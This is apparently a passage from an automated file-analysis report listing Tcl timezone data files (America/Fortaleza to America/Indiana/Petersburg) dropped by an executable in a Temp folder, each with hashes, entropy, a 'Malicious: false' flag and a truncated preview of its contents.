SHA-512:	867003B33A5FC6E42D546FBFC7A8AB351DE72232B89BA1BEC6DB566F6DCE135E65C08DE9112837190EB21D677E2F83E7E0F6049EC70CB9E36F223DE3A68E000A
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Indiana/Indianapolis)]} {. LoadTimeZoneFile America/Indiana/Indianapolis.}.set TZData(:America/Fort_Wayne) $TZData(:America/Indiana/Indianapolis).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Fortaleza

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1394
Entropy (8bit):	3.9968678665202413
Encrypted:	false
SSDEEP:	24:cQVe5qc+Ih+j+Dd+HO+W+iW+M+A+ph+h/1+ge5+Wt+x3+evIG+M+w+w+jZ+SIrX5:5WP+Ih+j+R+u+W+iW+M+A+r+hN+gU+Wo
MD5:	FC299CE2BCD4303BC0F5600111428585
SHA1:	D08B49D8B5E983765F4D3D24359E1896177F7429
SHA-256:	1272363FC2F2AC38F10ED82E0869B2250BA9A29136BBE8EBEF3727CDE4EBF937
SHA-512:	DE2CC7D3EAF987F775437995EEBE663DA0DF952838B701EC15E67BC098337580948983805A00BAEA9E95420C63F53A7443B2F813B67ECAE2C9D86E604946321F
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Fortaleza) {. {-9223372036854775808 -9240 0 LMT}. {-1767216360 -10800 0 BRT}. {-1206957600 -7200 1 BRST}. {-1191362400 -10800 0 BRT}. {-1175374800 -7200 1 BRST}. {-1159826400 -10800 0 BRT}. {-633819600 -7200 1 BRST}. {-622069200 -10800 0 BRT}. {-602283600 -7200 1 BRST}. {-591832800 -10800 0 BRT}. {-570747600 -7200 1 BRST}. {-560210400 -10800 0 BRT}. {-539125200 -7200 1 BRST}. {-531352800 -10800 0 BRT}. {-191365200 -7200 1 BRST}. {-184197600 -10800 0 BRT}. {-155163600 -7200 1 BRST}. {-150069600 -10800 0 BRT}. {-128898000 -7200 1 BRST}. {-121125600 -10800 0 BRT}. {-99954000 -7200 1 BRST}. {-89589600 -10800 0 BRT}. {-68418000 -7200 1 BRST}. {-57967200 -10800 0 BRT}. {499748400 -7200 1 BRST}. {511236000 -10800 0 BRT}. {530593200 -7200 1 BRST}. {540266400 -10800 0 BRT}. {562129200 -7200 1 BRST}. {571197600 -10800 0 BRT}. {592974000 -72

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Glace_Bay

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8099
Entropy (8bit):	3.737123408653655
Encrypted:	false
SSDEEP:	192:C1V2eXXnqvlrPGgFEUlpde9pXbO53oVmM7IEc2fVGYu2yeB/T/eleWmBk81kS/kQ:CDJv
MD5:	3A839112950BFDFD3B5FBD440A2981E4
SHA1:	FFDF034F7E26647D1C18C1F6C49C776AD5BA93ED
SHA-256:	3D0325012AB7076FB31A68E33EE0EABC8556DFA78FBA16A3E41F986D523858FF
SHA-512:	1E06F4F607252C235D2D69E027D7E0510027D8DB0EE49CF291C39D6FD010868EF6899437057DA489DD30981949243DDFA6599FD07CE80E05A1994147B78A76CE
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Glace_Bay) {. {-9223372036854775808 -14388 0 LMT}. {-2131646412 -14400 0 AST}. {-1632074400 -10800 1 ADT}. {-1615143600 -14400 0 AST}. {-880221600 -10800 1 AWT}. {-769395600 -10800 1 APT}. {-765399600 -14400 0 AST}. {-536443200 -14400 0 AST}. {-526500000 -10800 1 ADT}. {-513198000 -14400 0 AST}. {-504907200 -14400 0 AST}. {63086400 -14400 0 AST}. {73461600 -10800 1 ADT}. {89182800 -14400 0 AST}. {104911200 -10800 1 ADT}. {120632400 -14400 0 AST}. {126244800 -14400 0 AST}. {136360800 -10800 1 ADT}. {152082000 -14400 0 AST}. {167810400 -10800 1 ADT}. {183531600 -14400 0 AST}. {199260000 -10800 1 ADT}. {215586000 -14400 0 AST}. {230709600 -10800 1 ADT}. {247035600 -14400 0 AST}. {262764000 -10800 1 ADT}. {278485200 -14400 0 AST}. {294213600 -10800 1 ADT}. {309934800 -14400 0 AST}. {325663200 -10800 1 ADT}. {341384400 -14400 0 AST}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Godthab

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7306
Entropy (8bit):	3.7801111303444968
Encrypted:	false
SSDEEP:	192:zT8l/pRvjwr7p3EbYFKTqoQThBEIfwjocaBhlxJo9udei+P3+/c+qQqarjlZjWuz:fzRLBuvfxhk
MD5:	9DA154CF3D02ABE7BF2656D686FB0009
SHA1:	077CEF531C4176A24C798FD6B132CDFA388F8506
SHA-256:	8D5576049B0B621DB2A112002CD34F38295FA7DB63BACFB462F3A59933491299
SHA-512:	CDAD3B6EC3C3378819BE52117AFA4605C0973555267CBFC97BDFC14A876C964CEA354A0BC8FB1311521046FFCC8842E299004B93794707575AD0A864F8F42E70
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Godthab) {. {-9223372036854775808 -12416 0 LMT}. {-1686083584 -10800 0 WGT}. {323845200 -7200 0 WGST}. {338950800 -10800 0 WGT}. {354675600 -7200 1 WGST}. {370400400 -10800 0 WGT}. {386125200 -7200 1 WGST}. {401850000 -10800 0 WGT}. {417574800 -7200 1 WGST}. {433299600 -10800 0 WGT}. {449024400 -7200 1 WGST}. {465354000 -10800 0 WGT}. {481078800 -7200 1 WGST}. {496803600 -10800 0 WGT}. {512528400 -7200 1 WGST}. {528253200 -10800 0 WGT}. {543978000 -7200 1 WGST}. {559702800 -10800 0 WGT}. {575427600 -7200 1 WGST}. {591152400 -10800 0 WGT}. {606877200 -7200 1 WGST}. {622602000 -10800 0 WGT}. {638326800 -7200 1 WGST}. {654656400 -10800 0 WGT}. {670381200 -7200 1 WGST}. {686106000 -10800 0 WGT}. {701830800 -7200 1 WGST}. {717555600 -10800 0 WGT}. {733280400 -7200 1 WGST}. {749005200 -10800 0 WGT}. {764730000 -7200 1 WGST}. {7804548

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Goose_Bay

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	10015
Entropy (8bit):	3.780383775128893
Encrypted:	false
SSDEEP:	192:z9zdvd8mSGDcfnrpbXXMqvlrPGgFEUlpd8ESeYPiVFuT/eleWmBk81kS/kV6kefD:z9zdvd7SGgcESeYPiV2Jv
MD5:	77DEEF08876F92042F71E1DEFA666857
SHA1:	7E21B51B3ED8EBEB85193374174C6E2BCA7FEB7F
SHA-256:	87E9C6E265BFA58885FBEC128263D5E5D86CC32B8FFEDECAFE96F773192C18BE
SHA-512:	C9AB8C9147354A388AEC5FE04C6C5317481478A07893461706CDC9FD5B42E31733EAC01C95C357F3C5DC3556C49F20374F58A6E0A120755D5E96744DE3A95A81
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Goose_Bay) {. {-9223372036854775808 -14500 0 LMT}. {-2713895900 -12652 0 NST}. {-1640982548 -12652 0 NST}. {-1632076148 -9052 1 NDT}. {-1615145348 -12652 0 NST}. {-1609446548 -12652 0 NST}. {-1096921748 -12600 0 NST}. {-1072989000 -12600 0 NST}. {-1061670600 -9000 1 NDT}. {-1048973400 -12600 0 NST}. {-1030221000 -9000 1 NDT}. {-1017523800 -12600 0 NST}. {-998771400 -9000 1 NDT}. {-986074200 -12600 0 NST}. {-966717000 -9000 1 NDT}. {-954624600 -12600 0 NST}. {-935267400 -9000 1 NDT}. {-922570200 -12600 0 NST}. {-903817800 -9000 1 NDT}. {-891120600 -12600 0 NST}. {-872368200 -9000 0 NWT}. {-769395600 -9000 1 NPT}. {-765401400 -12600 0 NST}. {-757369800 -12600 0 NST}. {-746044200 -9000 1 NDT}. {-733347000 -12600 0 NST}. {-714594600 -9000 1 NDT}. {-701897400 -12600 0 NST}. {-683145000 -9000 1 NDT}. {-670447800 -12600 0 NST}. {-6516954

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Grand_Turk

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2387
Entropy (8bit):	3.855782030917648
Encrypted:	false
SSDEEP:	48:5OmrgIuFqBG3g/kZ53VEc3whfr9TEL/kMt7XEe4HyEyF8Fu5cqBWdSuF5RkHm0m:hGaC3Xm8sHRr
MD5:	C6E58416209A262A6293DFF8D9A209F3
SHA1:	C3D5E6FE843C1981F62B56558C654C2E87BE38AD
SHA-256:	9D79B785A5C02DCC2BD82A97C009B674CD3CE684764F1D948B7981A22EB3FEA9
SHA-512:	679A531208BC7C3E6E7BE7944956B3DB09E4B46B5674E1AC716DBE8194161CC950FD2195D2143021E41CDDD7E0AE174C914EB120F1D5AA0097EBB20FBBC3F4FC
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Grand_Turk) {. {-9223372036854775808 -17072 0 LMT}. {-2524504528 -18431 0 KMT}. {-1827687169 -18000 0 EST}. {284014800 -18000 0 EST}. {294217200 -14400 1 EDT}. {309938400 -18000 0 EST}. {325666800 -14400 1 EDT}. {341388000 -18000 0 EST}. {357116400 -14400 1 EDT}. {372837600 -18000 0 EST}. {388566000 -14400 1 EDT}. {404892000 -18000 0 EST}. {420015600 -14400 1 EDT}. {436341600 -18000 0 EST}. {452070000 -14400 1 EDT}. {467791200 -18000 0 EST}. {483519600 -14400 1 EDT}. {499240800 -18000 0 EST}. {514969200 -14400 1 EDT}. {530690400 -18000 0 EST}. {544604400 -14400 1 EDT}. {562140000 -18000 0 EST}. {576054000 -14400 1 EDT}. {594194400 -18000 0 EST}. {607503600 -14400 1 EDT}. {625644000 -18000 0 EST}. {638953200 -14400 1 EDT}. {657093600 -18000 0 EST}. {671007600 -14400 1 EDT}. {688543200 -18000 0 EST}. {702457200 -14400 1 EDT}. {71

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Grenada

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	202
Entropy (8bit):	4.877543794488217
Encrypted:	false
SSDEEP:	6:SlSWB9IZaM3y7eoFVAIgpeX2905Qb90e/:MBaIMY9QpI290Ob90O
MD5:	C62E81B423F5BA10709D331FEBAB1839
SHA1:	F7BC5E7055E472DE33DED5077045F680843B1AA7
SHA-256:	0806C0E907DB13687BBAD2D22CEF5974D37A407D00E0A97847EC12AF972BCFF3
SHA-512:	7D7090C3A6FEBE67203EB18E06717B39EC62830757BAD5A40E0A7F97572ABB81E81CAB614AA4CD3089C3787DAA6293D6FED0137BB57EF3AE358A92FCDDCF52A8
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Port_of_Spain)]} {. LoadTimeZoneFile America/Port_of_Spain.}.set TZData(:America/Grenada) $TZData(:America/Port_of_Spain).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Guadeloupe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	205
Entropy (8bit):	4.914669229343752
Encrypted:	false
SSDEEP:	6:SlSWB9IZaM3y7eoFVAIgpeX2905AJLr490e/:MBaIMY9QpI290qJLr490O
MD5:	026A098D231C9BE8557A7F4A673C1BE2
SHA1:	192EECA778E1E713053D37353AF6D3C168D2BFF5
SHA-256:	FFE0E204D43000121944C57D2B2A846E792DDC73405C02FC5E8017136CD55BCB
SHA-512:	B49BD0FC12CC8D475E7E5116B8BDEA1584912BFA433734451F4338E42B5E042F3EC259E81C009E85798030E21F658158FA9F4EFC60078972351F706F852425E3
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Port_of_Spain)]} {. LoadTimeZoneFile America/Port_of_Spain.}.set TZData(:America/Guadeloupe) $TZData(:America/Port_of_Spain).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Guatemala

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	385
Entropy (8bit):	4.450029420195016
Encrypted:	false
SSDEEP:	12:MBp52906GdJmdHKznI2f/uFn/z/uFn/w67Rd3/uFn/4Bx/uFn/xAQ:cQ8JeQXfSn/zSn/w67Rd3Sn/4HSn/j
MD5:	6E3FD9D19E0CD26275B0F95412F13F4C
SHA1:	A1B6D6219DEBDBC9B5FFF5848E5DF14F8F4B1158
SHA-256:	1DC103227CA0EDEEBA8EE8A41AE54B3E11459E4239DC051B0694CF7DF3636F1A
SHA-512:	BF615D16BB55186AFC7216B47250EE84B7834FD08077E29E0A8F49C65AACAAD8D27539EA751202EBFF5E0B00702EC59B0A7D95F5FB585BFED68AC6206416110D
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Guatemala) {. {-9223372036854775808 -21724 0 LMT}. {-1617040676 -21600 0 CST}. {123055200 -18000 1 CDT}. {130914000 -21600 0 CST}. {422344800 -18000 1 CDT}. {433054800 -21600 0 CST}. {669708000 -18000 1 CDT}. {684219600 -21600 0 CST}. {1146376800 -18000 1 CDT}. {1159678800 -21600 0 CST}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Guayaquil

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	182
Entropy (8bit):	4.957616449865346
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFx52IAcGE5qJkXGm2OHHjGevX5lH6owsXSicUTpvaPAv:SlSWB9X529056m2OHHjGeP5lahicKpiS
MD5:	2E9AE527CE849A35219EF68F3BECA3AD
SHA1:	6C3D12907122383FED9C6F65D3F38E7D1CE43761
SHA-256:	D9AB34DF36DF3AADA024B093E8F73EAE43B4B56CAF8EFB00D82A518E44979C66
SHA-512:	540DE179EE5D716537C3E7C184CD098A281D59D285A4E5E7733AC28A0F17F644E7F192EFD76DE5D7EEB80D91754D8B2579DCDDC49296AF433CEA10A5EE405F5F
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Guayaquil) {. {-9223372036854775808 -19160 0 LMT}. {-2524502440 -18840 0 QMT}. {-1230749160 -18000 0 ECT}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Guyana

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	237
Entropy (8bit):	4.722702793311002
Encrypted:	false
SSDEEP:	6:SlSWB9X52905R3Lm2OHRjGeTShVy4YiwNUSY6KcVVFLIB/z:MBp5290LLmdHVTiy45NSOc/VG/z
MD5:	8D1F3433552E24E8C97DDE88DFCC070F
SHA1:	992FBE19E858ADDBF228D1FFCF3E2A8ED860CEE0
SHA-256:	619CE2809A31BF685A74F0D54E9433A5557796C73B9337CAB7CC19980352DBAF
SHA-512:	89A80E8744117131854BD65F21F5FDF4BA22C215DD99C0DAD5144F0D01D3C19160085E28293682EF8FEDA8AE244FDA8BA3E3199D233D9B7EAAD4EC6D8A73BBAE
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Guyana) {. {-9223372036854775808 -13960 0 LMT}. {-1730578040 -13500 0 GBGT}. {-113688900 -13500 0 GYT}. {176010300 -10800 0 GYT}. {662698800 -14400 0 GYT}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Halifax

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	10763
Entropy (8bit):	3.724988391778253
Encrypted:	false
SSDEEP:	192:Y7Z1hubfVmv0SqJXDiFHrbm96qddObEn/RDzWRfQFQ4XL8vG+81VcfnrpbXXnqvo:823ZLYvuOZJv
MD5:	7DE8E355A725B3D9B3FD06A838B9715F
SHA1:	41C6AAEA03FC7FEED50CFFFC4DFF7F35E2B1C23D
SHA-256:	5F65F38FFA6B05C59B21DB98672EB2124E4283530ACB01B22093EAEFB256D116
SHA-512:	4C61A15DDF28124343C1E6EFE068D15E48F0662534486EC38A4E2731BE085CDA5856F884521EF32A6E0EDD610A8A491A722220BDD1BAF2A9652D8457778AF696
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Halifax) {. {-9223372036854775808 -15264 0 LMT}. {-2131645536 -14400 0 AST}. {-1696276800 -10800 1 ADT}. {-1680469200 -14400 0 AST}. {-1640980800 -14400 0 AST}. {-1632074400 -10800 1 ADT}. {-1615143600 -14400 0 AST}. {-1609444800 -14400 0 AST}. {-1566763200 -10800 1 ADT}. {-1557090000 -14400 0 AST}. {-1535486400 -10800 1 ADT}. {-1524949200 -14400 0 AST}. {-1504468800 -10800 1 ADT}. {-1493413200 -14400 0 AST}. {-1472414400 -10800 1 ADT}. {-1461963600 -14400 0 AST}. {-1440964800 -10800 1 ADT}. {-1429390800 -14400 0 AST}. {-1409515200 -10800 1 ADT}. {-1396731600 -14400 0 AST}. {-1376856000 -10800 1 ADT}. {-1366491600 -14400 0 AST}. {-1346616000 -10800 1 ADT}. {-1333832400 -14400 0 AST}. {-1313956800 -10800 1 ADT}. {-1303678800 -14400 0 AST}. {-1282507200 -10800 1 ADT}. {-1272661200 -14400 0 AST}. {-1251057600 -10800 1 ADT}. {-1240088400

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Havana

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8444
Entropy (8bit):	3.7372403334059547
Encrypted:	false
SSDEEP:	192:VXA0Bc0tTJtNliQ4sxgpuG4c2JPTxUw9Or2ocrPGSyM9Gk4LK46MCf7VkXgySCWv:VXA0Bc0tTJtNliQ4sxSuG4c2JPTxUw9F
MD5:	C436FDCDBA98987601FEFC2DBFD5947B
SHA1:	A04CF2A5C9468C634AED324CB79F9EE3544514B7
SHA-256:	32F8B4D03E4ACB466353D72DAA2AA9E1E42D454DBBA001D0B880667E6346B8A1
SHA-512:	56C25003685582AF2B8BA4E32EFF03EF10F4360D1A12E0F1294355000161ADDF7024CBD047D1830AB884BE2C385FD8ABE8DA5C30E9A0671C22E84EE3BF957D85
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Havana) {. {-9223372036854775808 -19768 0 LMT}. {-2524501832 -19776 0 HMT}. {-1402813824 -18000 0 CST}. {-1311534000 -14400 1 CDT}. {-1300996800 -18000 0 CST}. {-933534000 -14400 1 CDT}. {-925675200 -18000 0 CST}. {-902084400 -14400 1 CDT}. {-893620800 -18000 0 CST}. {-870030000 -14400 1 CDT}. {-862171200 -18000 0 CST}. {-775681200 -14400 1 CDT}. {-767822400 -18000 0 CST}. {-744231600 -14400 1 CDT}. {-736372800 -18000 0 CST}. {-144702000 -14400 1 CDT}. {-134251200 -18000 0 CST}. {-113425200 -14400 1 CDT}. {-102542400 -18000 0 CST}. {-86295600 -14400 1 CDT}. {-72907200 -18000 0 CST}. {-54154800 -14400 1 CDT}. {-41457600 -18000 0 CST}. {-21495600 -14400 1 CDT}. {-5774400 -18000 0 CST}. {9954000 -14400 1 CDT}. {25675200 -18000 0 CST}. {41403600 -14400 1 CDT}. {57729600 -18000 0 CST}. {73458000 -14400 1 CDT}. {87364800 -18000 0 CST}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Hermosillo

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	595
Entropy (8bit):	4.2803367804689785
Encrypted:	false
SSDEEP:	12:MBp5290ebmdH5NWw+Ux++vTQtFlvm0tFXtFjV5a:cQBe5gfUT7UFltF9FjV5a
MD5:	9D1A1746614CE2CEE26D066182938CDC
SHA1:	967590403A84E80ED299B8D548A2B37C8EEB21CE
SHA-256:	493DB3E7B56B2E6B266A5C212CD1F75F1E5CF57533DA03BB1C1F2449543B9F48
SHA-512:	DFAE6BC48F2E4B75DD6744AEE57D31D6A6E764D02DCA5731C7B516AD87B9BAB2FEB355A012EC38BDD53008B501B0744953EB7E0677F02B9EAF083D2E66042B37
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Hermosillo) {. {-9223372036854775808 -26632 0 LMT}. {-1514739600 -25200 0 MST}. {-1343066400 -21600 0 CST}. {-1234807200 -25200 0 MST}. {-1220292000 -21600 0 CST}. {-1207159200 -25200 0 MST}. {-1191344400 -21600 0 CST}. {-873828000 -25200 0 MST}. {-661539600 -28800 0 PST}. {28800 -25200 0 MST}. {828867600 -21600 1 MDT}. {846403200 -25200 0 MST}. {860317200 -21600 1 MDT}. {877852800 -25200 0 MST}. {891766800 -21600 1 MDT}. {909302400 -25200 0 MST}. {915174000 -25200 0 MST}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Indiana\Indianapolis

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6996
Entropy (8bit):	3.799188069575817
Encrypted:	false
SSDEEP:	96:uRXxWMzJ2eQzURWu3N7sHRwvOTFhP5S+ijFnRaJeaX1eyDt:uRXxWUJ2eQzURWu3NOqvOTFhPI1jFIL
MD5:	154A332C3ACF6D6F358B07D96B91EBD1
SHA1:	FC16E7CBE179B3AB4E0C2A61AB5E0E8C23E50D50
SHA-256:	C0C7964EBF9EA332B46D8B928B52FDE2ED15ED2B25EC664ACD33DA7BF3F987AE
SHA-512:	5831905E1E6C6FA9DD309104B3A2EE476941D6FF159764123A477E2690C697B0F19EDEA0AD0CD3BBBECF96D64DC4B981027439E7865FCB1632661C8539B3BD6C
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Indiana/Indianapolis) {. {-9223372036854775808 -20678 0 LMT}. {-2717647200 -21600 0 CST}. {-1633276800 -18000 1 CDT}. {-1615136400 -21600 0 CST}. {-1601827200 -18000 1 CDT}. {-1583686800 -21600 0 CST}. {-1577901600 -21600 0 CST}. {-900259200 -18000 1 CDT}. {-891795600 -21600 0 CST}. {-883591200 -21600 0 CST}. {-880214400 -18000 1 CWT}. {-769395600 -18000 1 CPT}. {-765392400 -21600 0 CST}. {-757360800 -21600 0 CST}. {-747244800 -18000 1 CDT}. {-733942800 -21600 0 CST}. {-715795200 -18000 1 CDT}. {-702493200 -21600 0 CST}. {-684345600 -18000 1 CDT}. {-671043600 -21600 0 CST}. {-652896000 -18000 1 CDT}. {-639594000 -21600 0 CST}. {-620841600 -18000 1 CDT}. {-608144400 -21600 0 CST}. {-589392000 -18000 1 CDT}. {-576090000 -21600 0 CST}. {-557942400 -18000 1 CDT}. {-544640400 -21600 0 CST}. {-526492800 -18000 1 CDT}. {-513190800 -21600 0

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Indiana\Knox

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8470
Entropy (8bit):	3.7546412701514034
Encrypted:	false
SSDEEP:	192:AXxr2eQzURWu3Oab9BxXI6X8xYIIOdXkqbfkeTzZSJw5/9/yuvQ+hcr8bYkzbXw6:AXxr2eQzUwu3Oab9BxXI6XUYIIOdXkqv
MD5:	E8AFD9E320A7F4310B413F8086462F31
SHA1:	7BEE624AAC096E9C280B4FC84B0671381C657F6C
SHA-256:	BE74C1765317898834A18617352DF3B2952D69DE4E294616F1554AB95824DAF0
SHA-512:	C76620999A293FA3A93CA4615AB78F19395F12CC08C242F56BFD4C4CAF8BC769DDEBF33FF10F7DA5A3EFD8ED18792362780188636075419014A8C099A897C43C
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Indiana/Knox) {. {-9223372036854775808 -20790 0 LMT}. {-2717647200 -21600 0 CST}. {-1633276800 -18000 1 CDT}. {-1615136400 -21600 0 CST}. {-1601827200 -18000 1 CDT}. {-1583686800 -21600 0 CST}. {-880214400 -18000 1 CWT}. {-769395600 -18000 1 CPT}. {-765392400 -21600 0 CST}. {-725824800 -21600 0 CST}. {-715795200 -18000 1 CDT}. {-702493200 -21600 0 CST}. {-684345600 -18000 1 CDT}. {-671043600 -21600 0 CST}. {-652896000 -18000 1 CDT}. {-639594000 -21600 0 CST}. {-620841600 -18000 1 CDT}. {-608144400 -21600 0 CST}. {-589392000 -18000 1 CDT}. {-576090000 -21600 0 CST}. {-557942400 -18000 1 CDT}. {-544640400 -21600 0 CST}. {-526492800 -18000 1 CDT}. {-513190800 -21600 0 CST}. {-495043200 -18000 1 CDT}. {-481741200 -21600 0 CST}. {-463593600 -18000 1 CDT}. {-447267600 -21600 0 CST}. {-431539200 -18000 1 CDT}. {-415818000 -21600 0 CST}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Indiana\Marengo

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7037
Entropy (8bit):	3.786429098558221
Encrypted:	false
SSDEEP:	96:FXx3knO559B18XWRh0ksHRwvOTFhP5S+ijFnRaJeaX1eyDt:FXxUnO559B2XWRh0pqvOTFhPI1jFIL
MD5:	456422A0D5BE8FBF5DBD0E75D8650894
SHA1:	737AC21F019A7E89689B9C8B465C8482FF4F403E
SHA-256:	C92D86CACFF85344453E1AFBC124CE11085DE7F6DC52CB4CBE6B89B01D5FE2F3
SHA-512:	372AEBB2F13A50536C36A025881874E5EE3162F0168B71B2083965BECBBFCA3DAC726117D205D708CC2B4F7ABE65CCC2B3FE6625F1403D97001950524D545470
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Indiana/Marengo) {. {-9223372036854775808 -20723 0 LMT}. {-2717647200 -21600 0 CST}. {-1633276800 -18000 1 CDT}. {-1615136400 -21600 0 CST}. {-1601827200 -18000 1 CDT}. {-1583686800 -21600 0 CST}. {-880214400 -18000 1 CWT}. {-769395600 -18000 1 CPT}. {-765392400 -21600 0 CST}. {-599594400 -21600 0 CST}. {-589392000 -18000 1 CDT}. {-576090000 -21600 0 CST}. {-495043200 -18000 1 CDT}. {-481741200 -21600 0 CST}. {-463593600 -18000 1 CDT}. {-450291600 -21600 0 CST}. {-431539200 -18000 1 CDT}. {-418237200 -21600 0 CST}. {-400089600 -18000 1 CDT}. {-386787600 -21600 0 CST}. {-368640000 -18000 1 CDT}. {-355338000 -21600 0 CST}. {-337190400 -18000 1 CDT}. {-323888400 -21600 0 CST}. {-305740800 -18000 1 CDT}. {-292438800 -21600 0 CST}. {-273686400 -18000 0 EST}. {-31518000 -18000 0 EST}. {-21488400 -14400 1 EDT}. {-5767200 -18000 0 EST}. {

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Indiana\Petersburg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7364
Entropy (8bit):	3.79636789874872
Encrypted:	false
SSDEEP:	192:pXxS559B2XW6X8x3X3D2D8IOdXkqbfkeTzlbaqvOTFhPI1jFIL:pXxS559B2XW6XU3X3D2D8IOdXkqbfNT2
MD5:	9614153F9471187A2F92B674733369A0
SHA1:	199E8D5018A374EDB9592483CE4DDB30712006E3
SHA-256:	5323EBC8D450CC1B53AED18AD209ADEB3A6EEB5A00A80D63E26DB1C85B6476ED
SHA-512:	2A1E26D711F62C51A5EE7014584FAF41C1780BD62573247D45D467500C6AB9A9EAD5A382A1986A9D768D7BB927E4D391EA1B7A4AD9A54D3B05D8AD2385156C33
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Indiana/Petersburg) {. {-9223372036854775808 -20947 0 LMT}. {-2717647200 -21600 0 CST}. {-1633276800 -18000 1 CDT}. {-1615136400 -21600 0 CST}. {-1601827200 -18000 1 CDT}. {-1583686800 -21600 0 CST}. {-880214400 -18000 1 CWT}. {-769395600 -18000 1 CPT}. {-765392400 -21600 0 CST}. {-473364000 -21600 0 CST}. {-462996000 -18000 1 CDT}. {-450291600 -21600 0 CST}. {-431539200 -18000 1 CDT}. {-418237200 -21600 0 CST}. {-400089600 -18000 1 CDT}. {-386787600 -21600 0 CST}. {-368640000 -18000 1 CDT}. {-355338000 -21600 0 CST}. {-337190400 -18000 1 CDT}. {-323888400 -21600 0 CST}. {-305740800 -18000 1 CDT}. {-292438800 -21600 0 CST}. {-273686400 -18000 1 CDT}. {-257965200 -21600 0 CST}. {-242236800 -18000 1 CDT}. {-226515600 -21600 0 CST}. {-210787200 -18000 1 CDT}. 